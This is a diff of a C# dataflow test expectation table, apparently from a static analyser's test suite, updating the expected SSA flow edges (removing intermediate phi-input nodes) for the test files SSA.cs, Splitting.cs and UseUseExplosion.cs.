 | SSA.cs:117:13:117:16 | this access | SSA.cs:119:21:119:24 | this access |
@@ -973,27 +936,20 @@
 | SSA.cs:118:17:118:26 | access to parameter nonTainted | SSA.cs:119:17:119:41 | [input] SSA phi read(nonTainted) |
 | SSA.cs:118:17:118:26 | access to parameter nonTainted | SSA.cs:121:17:121:41 | [input] SSA phi read(nonTainted) |
 | SSA.cs:118:17:118:33 | access to property Length | SSA.cs:118:17:118:37 | ... > ... |
-| SSA.cs:119:17:119:41 | [input] SSA phi read(nonTainted) | SSA.cs:123:9:123:30 | SSA phi read(nonTainted) |
-| SSA.cs:119:17:119:41 | [input] SSA phi read(this.S) | SSA.cs:123:9:123:30 | SSA phi read(this.S) |
-| SSA.cs:119:17:119:41 | [input] SSA phi(this.S.SsaFieldSink1) | SSA.cs:123:9:123:30 | SSA phi(this.S.SsaFieldSink1) |
+| SSA.cs:119:17:119:41 | [input] SSA phi read(nonTainted) | SSA.cs:128:13:128:22 | access to parameter nonTainted |
 | SSA.cs:119:21:119:24 | [post] this access | SSA.cs:123:23:123:26 | this access |
 | SSA.cs:119:21:119:24 | this access | SSA.cs:123:23:123:26 | this access |
-| SSA.cs:119:21:119:26 | [post] access to field S | SSA.cs:119:17:119:41 | [input] SSA phi read(this.S) |
-| SSA.cs:119:21:119:26 | access to field S | SSA.cs:119:17:119:41 | [input] SSA phi read(this.S) |
-| SSA.cs:119:21:119:40 | [post] access to field SsaFieldSink1 | SSA.cs:119:17:119:41 | [input] SSA phi(this.S.SsaFieldSink1) |
-| SSA.cs:119:21:119:40 | access to field SsaFieldSink1 | SSA.cs:119:17:119:41 | [input] SSA phi(this.S.SsaFieldSink1) |
-| SSA.cs:121:17:121:41 | [input] SSA phi read(nonTainted) | SSA.cs:123:9:123:30 | SSA phi read(nonTainted) |
-| SSA.cs:121:17:121:41 | [input] SSA phi read(this.S) | SSA.cs:123:9:123:30 | SSA phi read(this.S) |
-| SSA.cs:121:17:121:41 | [input] SSA phi(this.S.SsaFieldSink1) | SSA.cs:123:9:123:30 | SSA phi(this.S.SsaFieldSink1) |
+| SSA.cs:119:21:119:26 | [post] access to field S | SSA.cs:123:23:123:28 | access to field S |
+| SSA.cs:119:21:119:26 | access to field S | SSA.cs:123:23:123:28 | access to field S |
+| SSA.cs:119:21:119:40 | [post] access to field SsaFieldSink1 | SSA.cs:123:23:123:28 | SSA qualifier def(this.S.SsaFieldSink1) |
+| SSA.cs:119:21:119:40 | access to field SsaFieldSink1 | SSA.cs:123:23:123:28 | SSA qualifier def(this.S.SsaFieldSink1) |
+| SSA.cs:121:17:121:41 | [input] SSA phi read(nonTainted) | SSA.cs:128:13:128:22 | access to parameter nonTainted |
 | SSA.cs:121:21:121:24 | [post] this access | SSA.cs:123:23:123:26 | this access |
 | SSA.cs:121:21:121:24 | this access | SSA.cs:123:23:123:26 | this access |
-| SSA.cs:121:21:121:26 | [post] access to field S | SSA.cs:121:17:121:41 | [input] SSA phi read(this.S) |
-| SSA.cs:121:21:121:26 | access to field S | SSA.cs:121:17:121:41 | [input] SSA phi read(this.S) |
-| SSA.cs:121:21:121:40 | [post] access to field SsaFieldSink1 | SSA.cs:121:17:121:41 | [input] SSA phi(this.S.SsaFieldSink1) |
-| SSA.cs:121:21:121:40 | access to field SsaFieldSink1 | SSA.cs:121:17:121:41 | [input] SSA phi(this.S.SsaFieldSink1) |
-| SSA.cs:123:9:123:30 | SSA phi read(nonTainted) | SSA.cs:128:13:128:22 | access to parameter nonTainted |
-| SSA.cs:123:9:123:30 | SSA phi read(this.S) | SSA.cs:123:23:123:28 | access to field S |
-| SSA.cs:123:9:123:30 | SSA phi(this.S.SsaFieldSink1) | SSA.cs:123:23:123:28 | SSA qualifier def(this.S.SsaFieldSink1) |
+| SSA.cs:121:21:121:26 | [post] access to field S | SSA.cs:123:23:123:28 | access to field S |
+| SSA.cs:121:21:121:26 | access to field S | SSA.cs:123:23:123:28 | access to field S |
+| SSA.cs:121:21:121:40 | [post] access to field SsaFieldSink1 | SSA.cs:123:23:123:28 | SSA qualifier def(this.S.SsaFieldSink1) |
+| SSA.cs:121:21:121:40 | access to field SsaFieldSink1 | SSA.cs:123:23:123:28 | SSA qualifier def(this.S.SsaFieldSink1) |
 | SSA.cs:123:23:123:26 | [post] this access | SSA.cs:124:15:124:18 | this access |
 | SSA.cs:123:23:123:26 | this access | SSA.cs:124:15:124:18 | this access |
 | SSA.cs:123:23:123:28 | SSA def(this.S) | SSA.cs:124:15:124:20 | access to field S |
@@ -1014,13 +970,12 @@
 | SSA.cs:127:9:127:14 | access to field S | SSA.cs:128:13:128:33 | [input] SSA phi read(this.S) |
 | SSA.cs:127:9:127:14 | access to field S | SSA.cs:130:13:130:18 | access to field S |
 | SSA.cs:127:9:127:31 | access to field SsaFieldNonSink0 | SSA.cs:127:9:127:36 | SSA def(this.S.SsaFieldNonSink0) |
-| SSA.cs:127:9:127:36 | SSA def(this.S.SsaFieldNonSink0) | SSA.cs:128:13:128:33 | [input] SSA phi(this.S.SsaFieldNonSink0) |
+| SSA.cs:127:9:127:36 | SSA def(this.S.SsaFieldNonSink0) | SSA.cs:136:23:136:28 | SSA qualifier def(this.S.SsaFieldNonSink0) |
 | SSA.cs:127:35:127:36 | "" | SSA.cs:127:9:127:31 | access to field SsaFieldNonSink0 |
 | SSA.cs:128:13:128:22 | [post] access to parameter nonTainted | SSA.cs:131:17:131:26 | access to parameter nonTainted |
 | SSA.cs:128:13:128:22 | access to parameter nonTainted | SSA.cs:131:17:131:26 | access to parameter nonTainted |
 | SSA.cs:128:13:128:29 | access to property Length | SSA.cs:128:13:128:33 | ... > ... |
-| SSA.cs:128:13:128:33 | [input] SSA phi read(this.S) | SSA.cs:136:9:136:30 | SSA phi read(this.S) |
-| SSA.cs:128:13:128:33 | [input] SSA phi(this.S.SsaFieldNonSink0) | SSA.cs:136:9:136:30 | SSA phi(this.S.SsaFieldNonSink0) |
+| SSA.cs:128:13:128:33 | [input] SSA phi read(this.S) | SSA.cs:136:23:136:28 | access to field S |
 | SSA.cs:130:13:130:16 | [post] this access | SSA.cs:132:21:132:24 | this access |
 | SSA.cs:130:13:130:16 | [post] this access | SSA.cs:134:21:134:24 | this access |
 | SSA.cs:130:13:130:16 | this access | SSA.cs:132:21:132:24 | this access |
@@ -1034,24 +989,18 @@
 | SSA.cs:130:13:130:46 | SSA def(this.S.SsaFieldNonSink0) | SSA.cs:134:21:134:43 | access to field SsaFieldNonSink0 |
 | SSA.cs:130:39:130:46 | access to local variable nonSink0 | SSA.cs:130:13:130:35 | access to field SsaFieldNonSink0 |
 | SSA.cs:131:17:131:33 | access to property Length | SSA.cs:131:17:131:37 | ... > ... |
-| SSA.cs:132:17:132:44 | [input] SSA phi read(this.S) | SSA.cs:136:9:136:30 | SSA phi read(this.S) |
-| SSA.cs:132:17:132:44 | [input] SSA phi(this.S.SsaFieldNonSink0) | SSA.cs:136:9:136:30 | SSA phi(this.S.SsaFieldNonSink0) |
 | SSA.cs:132:21:132:24 | [post] this access | SSA.cs:136:23:136:26 | this access |
 | SSA.cs:132:21:132:24 | this access | SSA.cs:136:23:136:26 | this access |
-| SSA.cs:132:21:132:26 | [post] access to field S | SSA.cs:132:17:132:44 | [input] SSA phi read(this.S) |
-| SSA.cs:132:21:132:26 | access to field S | SSA.cs:132:17:132:44 | [input] SSA phi read(this.S) |
-| SSA.cs:132:21:132:43 | [post] access to field SsaFieldNonSink0 | SSA.cs:132:17:132:44 | [input] SSA phi(this.S.SsaFieldNonSink0) |
-| SSA.cs:132:21:132:43 | access to field SsaFieldNonSink0 | SSA.cs:132:17:132:44 | [input] SSA phi(this.S.SsaFieldNonSink0) |
-| SSA.cs:134:17:134:44 | [input] SSA phi read(this.S) | SSA.cs:136:9:136:30 | SSA phi read(this.S) |
-| SSA.cs:134:17:134:44 | [input] SSA phi(this.S.SsaFieldNonSink0) | SSA.cs:136:9:136:30 | SSA phi(this.S.SsaFieldNonSink0) |
+| SSA.cs:132:21:132:26 | [post] access to field S | SSA.cs:136:23:136:28 | access to field S |
+| SSA.cs:132:21:132:26 | access to field S | SSA.cs:136:23:136:28 | access to field S |
+| SSA.cs:132:21:132:43 | [post] access to field SsaFieldNonSink0 | SSA.cs:136:23:136:28 | SSA qualifier def(this.S.SsaFieldNonSink0) |
+| SSA.cs:132:21:132:43 | access to field SsaFieldNonSink0 | SSA.cs:136:23:136:28 | SSA qualifier def(this.S.SsaFieldNonSink0) |
 | SSA.cs:134:21:134:24 | [post] this access | SSA.cs:136:23:136:26 | this access |
 | SSA.cs:134:21:134:24 | this access | SSA.cs:136:23:136:26 | this access |
-| SSA.cs:134:21:134:26 | [post] access to field S | SSA.cs:134:17:134:44 | [input] SSA phi read(this.S) |
-| SSA.cs:134:21:134:26 | access to field S | SSA.cs:134:17:134:44 | [input] SSA phi read(this.S) |
-| SSA.cs:134:21:134:43 | [post] access to field SsaFieldNonSink0 | SSA.cs:134:17:134:44 | [input] SSA phi(this.S.SsaFieldNonSink0) |
-| SSA.cs:134:21:134:43 | access to field SsaFieldNonSink0 | SSA.cs:134:17:134:44 | [input] SSA phi(this.S.SsaFieldNonSink0) |
-| SSA.cs:136:9:136:30 | SSA phi read(this.S) | SSA.cs:136:23:136:28 | access to field S |
-| SSA.cs:136:9:136:30 | SSA phi(this.S.SsaFieldNonSink0) | SSA.cs:136:23:136:28 | SSA qualifier def(this.S.SsaFieldNonSink0) |
+| SSA.cs:134:21:134:26 | [post] access to field S | SSA.cs:136:23:136:28 | access to field S |
+| SSA.cs:134:21:134:26 | access to field S | SSA.cs:136:23:136:28 | access to field S |
+| SSA.cs:134:21:134:43 | [post] access to field SsaFieldNonSink0 | SSA.cs:136:23:136:28 | SSA qualifier def(this.S.SsaFieldNonSink0) |
+| SSA.cs:134:21:134:43 | access to field SsaFieldNonSink0 | SSA.cs:136:23:136:28 | SSA qualifier def(this.S.SsaFieldNonSink0) |
 | SSA.cs:136:23:136:26 | [post] this access | SSA.cs:137:15:137:18 | this access |
 | SSA.cs:136:23:136:26 | this access | SSA.cs:137:15:137:18 | this access |
 | SSA.cs:136:23:136:28 | SSA def(this.S) | SSA.cs:137:15:137:20 | access to field S |
@@ -1065,12 +1014,10 @@
 | SSA.cs:146:13:146:13 | access to parameter t | SSA.cs:146:13:146:13 | (...) ... |
 | SSA.cs:146:13:146:13 | access to parameter t | SSA.cs:149:17:149:17 | access to parameter t |
 | SSA.cs:147:13:147:13 | access to parameter t | SSA.cs:147:13:147:26 | SSA def(t) |
-| SSA.cs:147:13:147:26 | SSA def(t) | SSA.cs:147:13:147:26 | [input] SSA phi(t) |
-| SSA.cs:147:13:147:26 | [input] SSA phi(t) | SSA.cs:144:17:144:26 | SSA phi(t) |
+| SSA.cs:147:13:147:26 | SSA def(t) | SSA.cs:144:17:144:26 | SSA phi(t) |
 | SSA.cs:147:17:147:26 | default(...) | SSA.cs:147:13:147:13 | access to parameter t |
 | SSA.cs:149:13:149:13 | access to parameter t | SSA.cs:149:13:149:17 | SSA def(t) |
-| SSA.cs:149:13:149:17 | SSA def(t) | SSA.cs:149:13:149:17 | [input] SSA phi(t) |
-| SSA.cs:149:13:149:17 | [input] SSA phi(t) | SSA.cs:144:17:144:26 | SSA phi(t) |
+| SSA.cs:149:13:149:17 | SSA def(t) | SSA.cs:144:17:144:26 | SSA phi(t) |
 | SSA.cs:149:17:149:17 | access to parameter t | SSA.cs:149:13:149:13 | access to parameter t |
 | SSA.cs:152:36:152:36 | SSA param(t) | SSA.cs:154:13:154:13 | access to parameter t |
 | SSA.cs:152:36:152:36 | t | SSA.cs:152:36:152:36 | SSA param(t) |
@@ -1079,8 +1026,7 @@
 | SSA.cs:154:13:154:13 | access to parameter t | SSA.cs:154:13:154:21 | [input] SSA phi(t) |
 | SSA.cs:154:13:154:13 | access to parameter t | SSA.cs:155:25:155:25 | access to parameter t |
 | SSA.cs:154:13:154:21 | [input] SSA phi(t) | SSA.cs:152:17:152:28 | SSA phi(t) |
-| SSA.cs:155:13:155:26 | [input] SSA phi(t) | SSA.cs:152:17:152:28 | SSA phi(t) |
-| SSA.cs:155:25:155:25 | SSA def(t) | SSA.cs:155:13:155:26 | [input] SSA phi(t) |
+| SSA.cs:155:25:155:25 | SSA def(t) | SSA.cs:152:17:152:28 | SSA phi(t) |
 | SSA.cs:155:25:155:25 | access to parameter t | SSA.cs:155:25:155:25 | SSA def(t) |
 | SSA.cs:166:10:166:13 | this | SSA.cs:166:19:166:22 | this access |
 | SSA.cs:166:28:166:31 | null | SSA.cs:166:19:166:24 | access to field S |
@@ -1089,31 +1035,24 @@
 | SSA.cs:168:35:168:35 | SSA param(i) | SSA.cs:171:13:171:13 | access to parameter i |
 | SSA.cs:168:35:168:35 | i | SSA.cs:168:35:168:35 | SSA param(i) |
 | SSA.cs:170:16:170:23 | access to local variable ssaSink5 | SSA.cs:170:16:170:28 | SSA def(ssaSink5) |
-| SSA.cs:170:16:170:28 | SSA def(ssaSink5) | SSA.cs:171:13:171:19 | [input] SSA phi(ssaSink5) |
+| SSA.cs:170:16:170:28 | SSA def(ssaSink5) | SSA.cs:180:15:180:22 | access to local variable ssaSink5 |
 | SSA.cs:170:27:170:28 | "" | SSA.cs:170:16:170:23 | access to local variable ssaSink5 |
 | SSA.cs:171:13:171:13 | access to parameter i | SSA.cs:171:13:171:15 | SSA def(i) |
 | SSA.cs:171:13:171:15 | ...-- | SSA.cs:171:13:171:19 | ... > ... |
-| SSA.cs:171:13:171:15 | SSA def(i) | SSA.cs:174:13:178:13 | [input] SSA phi(i) |
-| SSA.cs:171:13:171:19 | [input] SSA phi(ssaSink5) | SSA.cs:180:9:180:24 | SSA phi(ssaSink5) |
+| SSA.cs:171:13:171:15 | SSA def(i) | SSA.cs:174:20:174:20 | access to parameter i |
 | SSA.cs:173:13:173:20 | access to local variable ssaSink5 | SSA.cs:173:13:173:30 | SSA def(ssaSink5) |
-| SSA.cs:173:13:173:30 | SSA def(ssaSink5) | SSA.cs:174:13:178:13 | [input] SSA phi read(ssaSink5) |
+| SSA.cs:173:13:173:30 | SSA def(ssaSink5) | SSA.cs:174:20:174:20 | SSA phi read(ssaSink5) |
 | SSA.cs:173:24:173:30 | access to parameter tainted | SSA.cs:173:13:173:20 | access to local variable ssaSink5 |
-| SSA.cs:174:13:178:13 | [input] SSA phi read(ssaSink5) | SSA.cs:174:20:174:20 | SSA phi read(ssaSink5) |
-| SSA.cs:174:13:178:13 | [input] SSA phi(i) | SSA.cs:174:20:174:20 | SSA phi(i) |
 | SSA.cs:174:20:174:20 | SSA phi read(ssaSink5) | SSA.cs:174:20:174:26 | [input] SSA phi(ssaSink5) |
 | SSA.cs:174:20:174:20 | SSA phi read(ssaSink5) | SSA.cs:176:21:176:28 | access to local variable ssaSink5 |
-| SSA.cs:174:20:174:20 | SSA phi(i) | SSA.cs:174:20:174:20 | access to parameter i |
 | SSA.cs:174:20:174:20 | access to parameter i | SSA.cs:174:20:174:22 | SSA def(i) |
 | SSA.cs:174:20:174:22 | ...-- | SSA.cs:174:20:174:26 | ... > ... |
-| SSA.cs:174:20:174:22 | SSA def(i) | SSA.cs:177:17:177:29 | [input] SSA phi(i) |
-| SSA.cs:174:20:174:26 | [input] SSA phi(ssaSink5) | SSA.cs:180:9:180:24 | SSA phi(ssaSink5) |
+| SSA.cs:174:20:174:22 | SSA def(i) | SSA.cs:174:20:174:20 | access to parameter i |
+| SSA.cs:174:20:174:26 | [input] SSA phi(ssaSink5) | SSA.cs:180:15:180:22 | access to local variable ssaSink5 |
 | SSA.cs:176:21:176:28 | [post] access to local variable ssaSink5 | SSA.cs:177:21:177:28 | access to local variable ssaSink5 |
 | SSA.cs:176:21:176:28 | access to local variable ssaSink5 | SSA.cs:177:21:177:28 | access to local variable ssaSink5 |
-| SSA.cs:177:17:177:29 | [input] SSA phi read(ssaSink5) | SSA.cs:174:20:174:20 | SSA phi read(ssaSink5) |
-| SSA.cs:177:17:177:29 | [input] SSA phi(i) | SSA.cs:174:20:174:20 | SSA phi(i) |
-| SSA.cs:177:21:177:28 | [post] access to local variable ssaSink5 | SSA.cs:177:17:177:29 | [input] SSA phi read(ssaSink5) |
-| SSA.cs:177:21:177:28 | access to local variable ssaSink5 | SSA.cs:177:17:177:29 | [input] SSA phi read(ssaSink5) |
-| SSA.cs:180:9:180:24 | SSA phi(ssaSink5) | SSA.cs:180:15:180:22 | access to local variable ssaSink5 |
+| SSA.cs:177:21:177:28 | [post] access to local variable ssaSink5 | SSA.cs:174:20:174:20 | SSA phi read(ssaSink5) |
+| SSA.cs:177:21:177:28 | access to local variable ssaSink5 | SSA.cs:174:20:174:20 | SSA phi read(ssaSink5) |
 | Splitting.cs:3:18:3:18 | SSA param(b) | Splitting.cs:6:13:6:13 | access to parameter b |
 | Splitting.cs:3:18:3:18 | b | Splitting.cs:3:18:3:18 | SSA param(b) |
 | Splitting.cs:3:28:3:34 | SSA param(tainted) | Splitting.cs:5:17:5:23 | access to parameter tainted |
@@ -2054,509 +1993,408 @@
 | UseUseExplosion.cs:24:1689:24:1692 | access to property Prop | UseUseExplosion.cs:24:1708:24:1713 | [input] SSA phi read(this.Prop) |
 | UseUseExplosion.cs:24:1689:24:1692 | this access | UseUseExplosion.cs:24:1708:24:1713 | this access |
 | UseUseExplosion.cs:24:1689:24:1692 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1699:24:1701 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
+| UseUseExplosion.cs:24:1699:24:1701 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1699:24:1701 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
-| UseUseExplosion.cs:24:1708:24:1713 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1708:24:1713 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1708:24:1713 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1708:24:1713 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1708:24:1713 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1712:24:1712 | access to local variable x | UseUseExplosion.cs:24:1708:24:1713 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1723:24:1728 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1723:24:1728 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1712:24:1712 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1723:24:1728 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1723:24:1728 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1723:24:1728 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1727:24:1727 | access to local variable x | UseUseExplosion.cs:24:1723:24:1728 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1738:24:1743 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1738:24:1743 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1727:24:1727 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1738:24:1743 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1738:24:1743 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1738:24:1743 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1742:24:1742 | access to local variable x | UseUseExplosion.cs:24:1738:24:1743 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1753:24:1758 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1753:24:1758 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1742:24:1742 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1753:24:1758 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1753:24:1758 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1753:24:1758 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1757:24:1757 | access to local variable x | UseUseExplosion.cs:24:1753:24:1758 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1768:24:1773 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1768:24:1773 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1757:24:1757 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1768:24:1773 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1768:24:1773 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1768:24:1773 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1772:24:1772 | access to local variable x | UseUseExplosion.cs:24:1768:24:1773 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1783:24:1788 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1783:24:1788 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1772:24:1772 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1783:24:1788 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1783:24:1788 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1783:24:1788 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1787:24:1787 | access to local variable x | UseUseExplosion.cs:24:1783:24:1788 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1798:24:1803 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1798:24:1803 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1787:24:1787 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1798:24:1803 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1798:24:1803 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1798:24:1803 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1802:24:1802 | access to local variable x | UseUseExplosion.cs:24:1798:24:1803 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1813:24:1818 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1813:24:1818 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1802:24:1802 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1813:24:1818 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1813:24:1818 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1813:24:1818 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1817:24:1817 | access to local variable x | UseUseExplosion.cs:24:1813:24:1818 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1828:24:1833 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1828:24:1833 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1817:24:1817 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1828:24:1833 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1828:24:1833 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1828:24:1833 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1832:24:1832 | access to local variable x | UseUseExplosion.cs:24:1828:24:1833 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1843:24:1848 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1843:24:1848 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1832:24:1832 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1843:24:1848 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1843:24:1848 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1843:24:1848 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1847:24:1847 | access to local variable x | UseUseExplosion.cs:24:1843:24:1848 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1858:24:1863 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1858:24:1863 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1847:24:1847 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1858:24:1863 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1858:24:1863 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1858:24:1863 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1862:24:1862 | access to local variable x | UseUseExplosion.cs:24:1858:24:1863 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1873:24:1878 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1873:24:1878 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1862:24:1862 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1873:24:1878 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1873:24:1878 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1873:24:1878 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1877:24:1877 | access to local variable x | UseUseExplosion.cs:24:1873:24:1878 | [input] SSA phi read(x) |
-| UseUseExplosion.cs:24:1888:24:1893 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(this.Prop) |
-| UseUseExplosion.cs:24:1888:24:1893 | [input] SSA phi read(x) | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1877:24:1877 | access to local variable x | UseUseExplosion.cs:25:9:25:3199 | SSA phi read(x) |
+| UseUseExplosion.cs:24:1888:24:1893 | [input] SSA phi read(this.Prop) | UseUseExplosion.cs:25:13:25:16 | access to property Prop |
 | UseUseExplosion.cs:24:1888:24:1893 | [post] this access | UseUseExplosion.cs:25:13:25:16 | this access |
 | UseUseExplosion.cs:24:1888:24:1893 | this access | UseUseExplosion.cs:25:13:25:16 | this access |
-| UseUseExplosion.cs:24:1892:24:1892 | access to local variable x | UseUseExplosion.cs:24:1888:24:1893 | [input] SSA phi read(x) |
